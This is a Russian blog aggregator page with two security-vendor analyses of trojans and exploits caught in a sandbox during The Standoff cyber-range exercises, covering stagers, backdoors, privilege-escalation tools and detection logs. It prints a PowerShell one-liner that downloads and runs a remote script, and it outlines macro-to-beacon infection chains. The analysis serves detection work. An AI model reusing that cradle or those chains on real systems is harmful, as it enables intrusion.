Русский
Русский
English
Статистика
Реклама

Песочница

Улов на The Standoff о многообразии пойманных троянов

17.12.2020 20:07:58 | Автор: admin
С 12 по 17 ноября 2020 года на киберполигоне The Standoff прошла крупнейшая битва между командами атакующих и защитников. Действия разворачивались в течение 123 часов в городе FF цифровом двойнике мегаполиса с характерной инфраструктурой: морским портом, аэропортом, нефтяным месторождением, деловым центром, парком развлечений и другими объектами.



Двадцать девять команд атаковали инфраструктуру, добиваясь реализации бизнес-рисков, опасных для различных компаний, работающих в городе, а другие шесть команд мониторили и изучали активность нападающих, тренировали навыки противодействия и расследования инцидентов. В общем, все как в жизни. Хотя кроме нападающих и обороняющихся была еще третья сторона, которая пристально наблюдала за их действиями, глобальный SOC (подробнее о нем читайте в другой нашей статье). Прозванный Большим Братом, SOC объединил несколько команд PT Expert Security Center, которые в режиме нон-стоп анализировали события при помощи специальных средств защиты. Одной из таких команд был отдел обнаружения вредоносного ПО, который с помощью песочницы PT Sandbox вылавливал и исследовал троянские программы редтимеров. Напомним, PT Sandbox может:

сканировать файл правилами PT ESC,
сканировать файл движками внешних антивирусных вендоров,
обнаруживать вредоносную активность после запуска в изолированной среде поведенческими правилами,
анализировать сетевой трафик правилами PT Network Attack Discovery,
анализировать дампы процессов правилами PT ESC.

Сегодня мы расскажем о том, что и как нам удалось поймать, а также о том, какие находки нас особенно впечатлили.


Общая статистика



Во время активных действий на The Standoff (с 12:00 12 ноября и до 15:00 17 ноября) песочница PT Sandbox обнаружила вредоносное ПО в 8609 файлах. Такие файлы поступали в систему анализа двумя способами:

из трафика, перехваченные с помощью PT Network Attack Discovery;
с почтовых серверов в инфраструктуре города FF при анализе вложений в письмах.

Практически половина всех пойманных троянов была найдена в ночь с 15 на 16 ноября.



Мы провели огромную работу по валидации задетектированных объектов, каждый образец мы отнесли к той или иной группе. Иными словами, все зловреды были классифицированы по семействам.



В реальных инфраструктурах не происходит такого обилия атак за единицу времени, как это было во время кибербитвы. Кроме того, профиль атакующих in the wild обширнее: используется больше различных инструментов, в том числе ориентированных на какие-то специфичные действия (скажем, на получения финансовой выгоды или кибершпионаж). Однако с точки зрения представленных классов вредоносного ПО картина вполне правдоподобна. При типовых атаках преобладает использование уязвимостей в популярном софте и промежуточных загрузчиков (stagers) для получения первичного доступа.

Совместим дальнейший анализ получившейся диаграммы с разбором некоторых образцов.

CVE-2018-4993



Практически половину зловредов составили PDF-документы с эксплойтами для уязвимости CVE-2018-4993 в программе Adobe Acrobat Reader. Уязвимость заключается в автоматическом соединении с удаленным сервером по протоколу SMB. В результате такого соединения атакующий может получить Net-NTLM response жертвы на специально подготовленный Net-NTLM challenge.

MD5: 484e1fe323ad4696f252a142d97be2c2



При удачном развитии событий атакующий может восстановить учетные данные жертвы путем перебора возможных значений (брутфорса) или же использовать сетевые соединения для атаки NTLM-relay.

На рисунке ниже представлен пример того, что, собственно, мы и видели при обнаружении вредоносного документа с совершенно безобидным названием goodpdf.pdf.



Отмечу, что за 123 часа мы встретили случаи использования инструмента Responder, который используется атакующими, в частности, для вышеупомянутой атаки NTLM-relay.

MD5: 9bcec68fd23e12e09a89948ae4483e62



Metasploit



Около трети проанализированного ВПО мы отнесли к этой категории. Сюда вошли все вариации полезной нагрузки, сгенерированной с применением Metasploit, популярнейшего проекта для тестов на проникновение не нуждающегося в гиперссылке ;) Добавлю, что здесь посчитаны те случаи, в которых мы не подтвердили использование какой-то конкретной полезной нагрузки. Рассмотрим в качестве примера один из образцов.

MD5: f7a8f6169df5b399cdac045e610b90f1

В сетевом трафике был перехвачен файл с подозрительным именем killerqueen.xlsm. Это офисный документ для Excel нового образца с макросом.



Извлеченный код макроса позволяет судить о запуске нового потока с позиционно независимым кодом сразу после открытия документа.



Получаем дизассемблированный листинг буфера данных, на который передается управление, и убеждаемся в том, что перед нами исполняемый код.





А в байтовом представлении легко улавливаются читаемые строки User Agent, используемого для HTTP-запросов, и IP-адрес атакующих.



Впрочем, образец был обнаружен PT Sandbox из-за использования макроса еще на начальной стадии, до всех этих ухищрений.



Goagent



Тринадцатого ноября в 07:46 по московскому времени мы обнаружили интересный образец. Изначально определенный уровень опасности был выявлен в аномальном сетевом трафике при поведенческом анализе, за счет чего образец получил вердикт трояна-загрузчика. Но гораздо более интересным во время статического анализа было срабатывание специального YARA-правила, которое определяет нелегитимные случаи использования упаковщика UPX.

MD5: 298fc6e08c81e40a166c62bab42459af



Особенность использования упаковщика UPX заключается в отсутствии имен секций, которые проставляет стандартная версия. Тем не менее код упаковщика остался неизменным. Также на рисунке ниже можно заметить еще один артефакт версию 3.96 упаковщика UPX.



Внимательный читатель наверняка обратил внимание на еще один артефакт на рисунке: образец написан на языке Go, повсеместно набирающем популярность.

Проанализировав образец, мы не нашли его исходных кодов в публичных источниках. Тем не менее его возможности соответствуют джентельменскому набору инструмента для удаленного управления ПК жертвы:

создание файлов,
получение текущего каталога,
получение содержимого текущего каталога,
смена каталога,
загрузка данных на компьютер жертвы,
выгрузка данных с компьютера жертвы,
выполнение команд через shell (cmd.exe в случае Windows),
шифрование данных, отправляемых на управляющий сервер, с помощью RC4.





Стоит сказать, что этот бэкдор может выполнять и роль прокси: через каналы Go он может принимать и отправлять данные на управляющий сервер, играя роль оркестратора для дополнительных плагинов, расширяющих его возможности.

Отмечу, что мы оперативно проанализировали этот бэкдор, усовершенствовали поведенческие правила и благополучно обнаруживали прочие его модификации при поведенческом анализе.



Конечно же, мы обнаружили аналогичную версию трояна, но скомпилированную уже под Linux, причем с той же особенностью: несмотря на упаковку, в PE-заголовке также отсутствует упоминание об UPX. Вот вам наглядное преимущество использования языка программирования с кросс-компилируемостью!

Прочие, но не менее интересные



Бегло пройдемся по некоторым другим семействам, образцов в которых было значительно меньше, но они от этого ничуть не менее любопытны.

MD5: f198d4402dc38620c5a75067a0ed568a

Еще один бэкдор на Go. На этот раз, правда, не упакованный, но зато все используемые строки закодированы операцией XOR с ключом, длина которого совпадает с длиной строки.



После деобфускации мы установили, что это вариация общедоступного фреймворка для постэксплуатации Sliver с частично урезанными возможностями взаимодействия с управляющим сервером.

Еще один образец был получен при следующей цепочке действий. На анализ попал однострочный скрипт для PowerShell:

powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://*.*.34.54:8000/s5.ps1')

В результате запуска с управляющего сервера был получен снова скрипт PowerShell, но значительно большего размера.



Полезная нагрузка сжата с помощью Deflate и вновь закодирована Base64.



В результате получен имплант постэксплуатационного фреймфорка на .NET Covenant.

MD5: 8a97322e3c0245c57b231417b060eec9



А вот пример минималистичного, но работоспособного реверс-шелла на PowerShell.
MD5: aaebe541fa164e77e2f90c9e67dbbaca



Просто, но эффективно.

Конечно, мы не могли не отметить инструменты для продвижения внутри сети SharpHound и Rubeus.

MD5: 513d35b572b05caa1571a48db1ae24de



MD5: 98382aae04b763f096a3b868d9ba70fe



Отдельный интерес представляло наблюдение за тем, какую фантазию проявляли атакующие по части названий:



***
Итак, если подводить итоги нашей работы и работы нашего инструментария во время The Standoff, то:

в каждом третьем случае совокупность антивирусных движков трех внешних вендоров пропустила вредоносное ПО;
технологии статического и поведенческого детекта PT ESC не только существенно дополнили комбинацию классических средств защиты, но и показали достойный уровень обнаружения.



Фактически эта картина очередной раз подтверждает, что использование различных экспертных знаний, технологий, подходов к обнаружению существенно повышает уровень обнаружения вредоносного ПО. Эта же мысль относится и к использованию совокупности решений различных классов, которое повышает уровень информационной безопасности в целом.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies
Подробнее..

The Standoff, май 2021 года. О пойманных зверьках в песочнице

15.06.2021 12:07:46 | Автор: admin

С 18 по 21 мая 2021 года на киберполигоне The Standoff прошло очередное противостояние между атакующими и защитниками. Бои проходили в вымышленном городе FF, представляющем собой обширную инфраструктуру, моделирующую технологические и бизнес-процессы компаний в промышленности, энергетике, на транспорте, в финансах и других секторах.

В этот раз в кибербитве участвовали тридцать команд атакующих, жаждущих воспроизвести очередной бизнес-риск, и пять команд защитников, всячески препятствующих действиям противоположной стороны. Кроме них, на протяжении всего времени соревнований работал security operation center (SOC), состоящий из нескольких команд PT Expert Security Center и наблюдавший за всем происходящим. Одной из таких команд, участвовавших в тщательном мониторинге, был наш отдел обнаружения вредоносного ПО. С помощью песочницы PT Sandbox мы анализировали входной поток файлов на предмет наличия вредоносного кода. Вот ее возможности:

  • сканирование файлов статическими правилами нашего PT ESC,

  • отслеживание вредоносной активности в результате запуска образца в изолированной среде поведенческими правилами PT ESC,

  • анализ сетевого трафика внутри виртуальных машин с помощью тех же правил, что используются в PT Network Attack Discovery,

  • анализ дампов памяти процессов и файловых артефактов правилами PT ESC,

  • сканирование файла с помощью SDK внешних антивирусных вендоров.

Давайте посмотрим, что интересного удалось обнаружить в этот раз. Также предлагаем вам сравнить результаты с уловом в песочнице с прошлого противостояния.

Общая статистика

Мы провели анализ событий в песочнице за период с 18 мая 10:00 до 21 мая 14:00. Согласно регламенту проведения противостояния, 18 и 19 мая с 19:00 до 10:00 следующего дня активные действия на полигоне не проводились. За время проведения кибербитвы в песочницу поступило 67142 файла на анализ, из которых в 233 случаях было обнаружено вредоносное ПО. Файлы в систему поступали следующим образом:

  • из вложений писем с почтовых серверов инфраструктуры города FF;

  • из сетевого трафика, перехваченные с помощью PT Network Attack Discovery;

  • через ICAP, перехваченные с помощью PT Application Firewall;

  • путем загрузки вручную через веб-интерфейс специалистами SOC.

На рисунках ниже представлены распределения всех файлов, поступивших на анализ, по источникам, а также распределение по источникам тех, в которых обнаружен вредоносный код:

Рисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 1. Распределение всех файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникамРисунок 2. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по источникам

Мы распределили задетектированные файлы по шестичасовым промежуткам времени, в которые они поступили на анализ. Вот что получилось:

Рисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в системуРисунок 3. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по времени попадания в систему

Отметим пиковые промежутки в дневное время по московскому часовому поясу за день до начала конференции PHDays и в первый день ее проведения. Обосновано отсутствие потока файлов в ночное время 19 и 20 мая, так как в этот период активность противостояния приостанавливалась по регламенту.

Специалисты отдела обнаружения вредоносного ПО дополнительно проанализировали каждый вредоносный образец, обнаруженный в PT Sandbox, с целью верификации и уточнения принадлежности определенному семейству. На рисунке ниже классификация файлов по семействам.

Рисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействамРисунок 4. Распределение вредоносных файлов, поступивших на анализ в PT Sandbox, по семействам

В сравнении с прошлым соревнованием в этот раз не было массовых спам-рассылок, из-за чего число обнаруженных однотипных образцов могло бы быть достаточно большим. Тем не менее, тенденция не сильно изменилась. Атакующие по-прежнему отдают предпочтение использованию фреймворков Metasploit и Cobalt Strike для создания троянов-загрузчиков в качестве нагрузки первой стадии. Используются легитимные инструменты PsExec и RemCom для запуска кода на удаленных серверах. Применяются такие инструменты, как NSSM, для закрепления в системе. Мы видели распространение майнеров криптовалюты, в том числе собственного исполнения (атакующие получали дополнительные очки за майнинговую активность).

Рисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалютыРисунок 5. Очки, начисляемые командам атакующих за майнинг криптовалюты

Также отметим попытки эксплуатации уязвимостей: в топ попала уязвимость CVE-2018-4993 в программе Adobe Acrobat Reader, благодаря которой атакующие могут провести атаку NTLM-relay. Впрочем, вот список полученных эксплойтов на прочие бреши, которые использовались в меньшем количестве:

  • CVE-2011-1249

  • CVE-2012-0217

  • CVE-2016-5195

  • CVE-2020-0787

А теперь давайте изучим примеры из некоторых семейств подробнее.

Cobalt Strike

В этот раз практически в каждом втором случае в качестве полезной нагрузки использовался модуль управления компьютером от пентестерского фреймворка Cobalt Strike. Рассмотрим это семейство на примере вложения к письму с именем TechnicalDocuments2.doc

SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Судя по расширению файл представляет собой офисный документ:

Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 6. Пример открытого офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

На изображении выше отметим предупреждение, что файл содержит макросы, которые отключены.

После запуска VBA-макрос передаст на управляющий сервер имя пользователя и имя домена машины, а полученную в ответ полезную нагрузку запустит с использованием WMI:

Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 7. Фрагмент кода макроса, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В ответе от сервера будет получен однострочник на языке PowerShell, который загрузит и запустит полезную нагрузку следующей стадии:

Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 8. Ответ от управляющего сервера, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Далее снова будет загружен PowerShell-скрипт, но большего размера. Он содержит бинарные данные, которые сначала декодируются из base64, а затем расшифровываются линейным XOR с ключом KUPORIS001 без кавычек и запускаются:

Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50Рисунок 9. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 19007866d50da66e0092e0f043b886866f8d66666b91ff02199dfc4aef070a50

Расшифрованные данные вновь представляют собой скрипт PowerShell, который декодирует и расшифровывает следующие данные, передавая на них управление кода:

Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 10. PowerShell-скрипт с зашифрованной и закодированной полезной нагрузкой, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89Рисунок 11. Передача управления кода на декодированные и расшифрованные данные, SHA256: 348e3a0e3e394d5a81f250e005d751c346c570bb898147ae8038c739c1316c89

В начале полученных данных находится позиционно-независимый код, который в дальнейшем произведет отраженную загрузку основного бэкдора фреймворка Beacon Cobalt Strike, с управляющим сервером по адресу 104.248.40[.]15:443.

Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 12. Шеллкод, на который передается управление кода, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 13. Фрагменты строк Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042Рисунок 14. Фрагмент кода загрузчика Beacon Cobalt Strike, SHA256: 803352ffcd11cd7adace844ec2715ef728c78c8d8baeca925fe6bd0e9e304042

С цепочкой заражения разобрались. Теперь давайте посмотрим, как это обнаружил PT Sandbox.

На этапе статического анализа офисного документа был выявлен макрос. Кроме того, детектирован автозапуск макроса в момент открытия документа:

Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577Рисунок 15. Статический детект YARA-правилами офисного документа, SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

В результате запуска образца в изолированной среде обнаружен запуск подпроцесса в офисном приложении, а также произошло срабатывание правила на записанный сетевой трафик.

{"count": 1,"process.id": "3176","process.name": "program files\\microsoft office\\office14\\winword.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621437055.497087","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "ET INFO PowerShell DownloadString Command Common In Powershell Stagers","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

Metasploit

Пятую часть от всех обнаруженных инструментов атакующих представляет нестареющая классика промежуточные загрузчики, или стейджеры, пентестерского фреймворка Metasploit. Данные стейджеры рассматривались многократно различными исследователями, поэтому проведем поверхностный анализ на примере одного из образцов с не менее классическим именем lolkekpohek.exe.

SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Это исполняемый файл, выдающий себя за серверную часть популярного веб-приложения Apache Server:

  Verified:UnsignedLink date:12:40 03.04.2009Publisher:n/aCompany:Apache Software FoundationDescription:ApacheBench command line utilityProduct:Apache HTTP ServerProd version:2.2.14File version:2.2.14MachineType:32-bit

При этом точка входа PE-файла приводит нас вовсе не к легитимному коду HTTP-сервера, а к набору мусорных, ничего не значащих инструкций, заканчивающихся прыжком на область кода чуть ниже:

Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 17. Фрагмент кода около точки входа PE-файла, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Начиная с этого момента, нас ждет много безусловных переходов. Чтобы не запутаться в коде, продолжим анализ с помощью отладчика. Пройдя по коду чуть дальше, отметим вызов функции с последующим прыжком:

Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 18. Вызов функции с последующим безусловным переходом, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть дальше мы видим, как происходит извлечение адреса возврата из стека, подготовка параметров и передача управления кода на извлеченный адрес:

Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 19. Передача управления по адресу, извлеченного из стека, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Далее нас ждет работа с PEB исполняемого файла: поиск нужной API функции с перебором загруженных модулей (библиотек) в адресное пространство. Сравнения при поиске происходят не напрямую: от строки имени функции вычисляется простейшая хеш-сумма на базе циклического побитового сдвига. Затем происходит сравнение результата вычисления с предварительно заданным значением. Если значения совпадают нужная функция найдена, и происходит ее вызов. В данном случае будет найдена и вызвана функция выделения памяти: VirtualAlloc.

Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 20. Вызов WinAPI-функции VirtualAlloc, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Чуть позже в полученную область памяти будет скопирован фрагмент кода, который затем получит управление кода. Это фрагмент и представляет собой промежуточный загрузчик фреймворка Metasploit, который соединится с управляющим сервером для получения полезной нагрузки.

Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 21. Вызов WinAPI-функции connect, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

А что с обнаружением? При статическом анализе образца был обнаружен разобранный выше стейджер фреймворка Metasploit.

Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 22. Статический детект YARA-правилом стейджера, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

В результате поведенческого анализа зарегистрировано вредоносное соединение с управляющим сервером:

Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4Рисунок 23. Поведенческий детект стейджера в песочнице, SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4
{"count": 1,"process.id": "3176","process.name": "users\\john\\desktop\\lolkekpohek.exe","detect.name": "Backdoor.Win32.Generic.a","unixtime": "1621417537.223409","_rule": "Backdoor.Win32.Generic.a","s_msg": "SHELL [PTsecurity] Metasploit Mettle TCP session opened: AES key exchange","correlation_name": "Backdoor.Win32.Generic.a","detect.type": "malware"}

Полезная нагрузка представляет собой инструмент Mettle, это некий аналог хорошо известного бэкдора Meterpreter.

Goagent

Мы, честно говоря, обрадовались, увидев использование этого инструмента для удаленного управления компьютером вновь. Не будем повторяться, рассказывая о возможностях бэкдора, написанного на языке Go, в некоторых случаях также упакованного UPX с испорченными именами секций, об этом вы можете подробнее почитать в нашем осеннем разборе противостояния. Вместо этого расскажем о цепочке атаки, которая имела место быть в этот раз.

21 мая в полночь пришло письмо с фишинговой ссылкой и вложением, представляющим собой офисный документ, якобы резюме:

myCV (2).doc

Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 24. Фишинговое письмо с вредоносным вложением, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Офисный документ содержит VBA-макрос. В результате исполнения будет запущен подпроцесс PowerShell, который загрузит и запустит исполняемый файл по ссылке. Отметим пару интересных моментов:

  1. Загруженная полезная нагрузка будет размещена в каталоге планировщика задач с именем, похожим на легитимный процесс в системе svchost.exe (атакующие убрали букву c в имени файла).

  2. Имя домена управляющего сервера позволяет провести атрибуцию образца с одной из команд участниц соревнования.

    Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0
Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748Рисунок 26. Фрагмент строк полезной нагрузки с адресом управляющего сервера, SHA256: 0c4c4bf3caae1db3f39aeb0b39bc3c7915aaf90651362630f56b43661c5d6748

Что касается обнаружения в PT Sandbox: при статическом анализе вновь обнаруживается вредоносный код в макросе офисного документа:

Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 27. Статический детект YARA-правилами офисного документа, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0Рисунок 28. Поведенческий детект офисного документа и полезной нагрузки Goagent, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0
{"count": 1,"process.id": "1848","process.name": "windows\\tasks\\svhost.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621546131.952323","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "REMOTE [PTsecurity] Goagent","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

А что еще?

Следующие образцы встречались в меньшем количестве, но от этого они не становятся менее значимыми. Давайте бегло посмотрим, а что мы поймали еще?

beRoot.pdf

SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

19 мая в 11:43 в сетевом трафике был перехвачен файл с расширением .pdf. На самом деле это исполняемый PE-файл. В результате запуска в песочнице было обнаружено обобщенное вредоносное поведение.

Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 29. Результат поведенческого анализа beRoot.pdf, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Впрочем, фрагменты видеозаписи могут служить подсказкой для дальнейшего анализа:

Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7Рисунок 30. Фрагмент видеозаписи поведенческого анализа, SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

Чуть более глубокий анализ подсказал, что образец представляет собой скомпилированную программу на языке Python с применением утилиты PyInstaller. А сама программа инструмент BeRoot, позволяющий искать недочеты в системе для подсказки, каким образом можно повысить привилегии пользователя. Впрочем, название инструмента уже содержалось в имени перехваченного образца.

Password Changing Procedure.docx

SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5

Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 31. Злоупотребление механизмом DDE для запуска вредоносного кода, SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634Рисунок 32. Загружаемый скрипт PowerShell, SHA256: 513d0a5fdaae239b6fed6e68c84110b03b18b49979f9b7d45d6f7a177ba5e634

Поиск в интернете по фрагментам строк приводит к проекту unicorn (не путать с известным эмулятором бинарного кода), который предназначен для внедрения шеллкода с использованием PowerShell: в частности, промежуточного загрузчика фреймворков Cobalt Strike и Metasploit, рассмотренных ранее.

winPEASx64.exe

SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Рисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9dbРисунок 33. Обнаруженный эксплойт повышения привилегий, SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Это утилита WinPEAS инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе. В некотором смысле схож с ранее рассмотренным BeRoot.

SharpHound.exe

SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 34. Фрагмент строк в исполняемом файле, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863Рисунок 35. Статический детект SharpHound в PT Sandbox, SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

/dirty

SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

Если есть разведка и поиск способов повысить привилегии должны быть инструменты, позволяющие этим воспользоваться. 20 мая в 13:06 в сетевом трафике перехвачен исполняемый файл под платформу Linux, который представляет собой эксплойт для уязвимости CVE-2016-5195 в ядре Linux, известной также как Dirty COW.

Рисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83fРисунок 36. Фрагмент строк из эксплойта CVE-2016-5195, SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

CVE-2018-8120.exe

SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

Еще один эксплойт, полученный из сетевого трафика 21 мая в 11:34. Несложно догадаться и по его названию, что это повышение привилегий в системе Windows с использованием уязвимости CVE-2018-8120 в графической подсистеме.

Рисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53cРисунок 37. Фрагмент строк из эксплойта CVE-2018-8120, SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

BitsArbitraryFileMoveExploit.exe

SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

И напоследок пример еще одного обнаруженного эксплойта. 21 мая в 11:26 все так же, из сетевого трафика, извлечен исполняемый файл, использующий на этот раз уязвимость CVE-2020-0787 в сервисе Windows Background Intelligent Transfer Service (BITS).

Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610Рисунок. 38. Фрагмент строк из эксплойта CVE-2020-0787, SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

Кстати, недавно на одном из наших вебинаров мы обсуждали приемы обнаружения эксплойтов повышения привилегий в общем случае рекомендуем ознакомиться, если не видели.

Заключение

В качестве итога приведем диаграмму, которая отражает статистику распределения детектов при использовании нескольких технологий защиты.

Рисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПОРисунок 39. Распределение детектов между технологиями обнаружения вредоносного ПО

